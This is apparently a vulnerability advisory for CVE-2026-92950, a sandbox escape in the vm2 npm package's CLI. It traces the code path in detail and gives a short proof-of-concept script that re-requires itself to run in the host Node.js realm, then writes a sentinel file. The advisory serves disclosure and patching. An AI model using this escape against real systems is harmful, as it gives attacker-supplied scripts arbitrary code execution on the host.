CVE-2026-92950: vm2 CLI provides no sandbox isolation - host-realm require() is reachable from sandboxed scripts
Summary The vm2 command-line tool installed by npm install -g vm2 and documented in the README's "CLI" section runs the supplied script under NodeVM with require:{external:true} and no root / context / builtin configured.
Published Oct 1, 2026
Affected packages
vm2
- Ecosystem
- npm
- Affected
- <= 3.11.6
- Fixed in
- 3.11.7
- Check
npm ls vm2
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
The vm2 command-line tool installed by npm install -g vm2 and documented in the README's "CLI" section runs the supplied script under NodeVM with require:{external:true} and no root / context / builtin configured. With these defaults the resolver loads every relative or absolute require() target through the host require() function, executing the attacker's module body in the host Node.js process before the result is ever proxied back into the sandbox. A single attacker-controlled file passed to vm2 ./script.js can call require(__filename) to re-execute itself in host realm and reach fs, child_process, etc. The documented sandbox runner is therefore equivalent to node ./script.js. No additional files, flags, or user interaction are required.
Details
The vulnerability lets a malicious sandboxed script - the file argument to the documented vm2 <file> CLI - execute arbitrary code in the host Node.js process, crossing the sandbox → host boundary that vm2 is meant to enforce.
Vulnerable code path
- Source -
bin/vm2:3→lib/cli.js:7-18.process.argv[2]is the attacker-authored script path. The CLI invokes: ``js NodeVM.file(path, { verbose: true, require: { external: true } });`Withoutrequire.root,require.context, norrequire.builtin`. - Hop -
lib/nodevm.js:618-636.NodeVM.filereads the file and callsnew NodeVM(options).run(body, resolvedFilename). - Hop -
lib/nodevm.js:335→lib/resolver-compat.js:205-266(makeResolverFromLegacyOptions). Destructuresexternal:true,rootPaths=undefined,hostRequire=defaultRequire(line 218),context='host'(default, line 219). Becausetypeof externalOpt !== 'object'(line 265) it returns aCustomResolverwithcheckedRootPaths=undefinedandpathContext = () => 'host'(line 263). - Hop -
lib/setup-node-sandbox.js:86-123(requireImpl). Sandboxrequire(id)resolves viaresolver.resolve(...)(lib/nodevm.js:380-383).lib/resolver.js:244-275handles absolute/relative specifiers;tryFileatlib/resolver.js:327-329gates onthis.isPathAllowed(x). - Barrier (gap) -
lib/resolver-compat.js:53-54: ``js isPathAllowed(filename) { if (this.rootPaths === undefined) return true;`With norootconfigured, **every** filesystem path is allowed.checkAccess(lib/resolver.js:39-42`) delegates to the same method. - Sink -
lib/resolver-compat.js:74-77: ``js loadJS(vm, mod, filename) { if (this.pathContext(filename, 'js') !== 'host') return super.loadJS(...); const m = this.hostRequire(filename); // ← host-realm require() mod.exports = vm.readonly(m); }`hostRequireisdefaultRequire(lib/resolver-compat.js:20-23) - the real hostrequire(). The required module's **top-level body executes in the host realm** beforevm.readonly()wraps the exports; wrapping happens too late to constrain side-effects.loadNode(lib/resolver-compat.js:80-83) is identical for.nodenative addons (process.dlopen` in host).
PoC
Save the following as /tmp/poc.js:
'use strict';
try {
// Host realm: fs is available - write sentinel and stop.
const fs = require('fs');
fs.writeFileSync('/tmp/vm2.proof', 'host pid=' + process.pid + '\n');
console.log('HOST realm: wrote /tmp/vm2.proof');
} catch (e) {
// Sandbox realm: require('fs') threw ENOTFOUND. Re-require this file -
// the CLI resolver loads it via host require() (resolver-compat.js:76).
console.log('sandbox realm: fs blocked (' + e.message + '); escaping');
require(__filename);
}Run via the shipped CLI exactly as the README documents:
node ./bin/vm2 /tmp/poc.js # or `vm2 /tmp/poc.js` after `npm i -g vm2`Observed output:
sandbox realm: fs blocked (Cannot find module 'fs'); escaping
HOST realm: wrote /tmp/vm2.proof/tmp/vm2.proof exists, written by fs.writeFileSync from a script whose direct require('fs') was blocked by the sandbox. The first line proves the boundary exists; the second proves it was crossed.
Impact
A user who follows the README's CLI section and runs vm2 ./untrusted.js on an attacker-supplied file gets arbitrary code execution as that user - the sandbox provides no isolation in this configuration. The blast radius is the full host Node.js process: fs, child_process, process.dlopen, network, environment.
Credited to oran-s.
References
- https://github.com/patriksimek/vm2/security/advisories/GHSA-jxxv-8r27-vm4p
- https://nvd.nist.gov/vuln/detail/CVE-2026-92950
- https://github.com/patriksimek/vm2/commit/903017c8a1eae9aba947ec854468b48155e79f86
- https://github.com/patriksimek/vm2/releases/tag/v3.11.7
- https://www.vulncheck.com/advisories/vm2-before-3.11.7-sandbox-escape-via-cli-require
- https://github.com/advisories/GHSA-jxxv-8r27-vm4p
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
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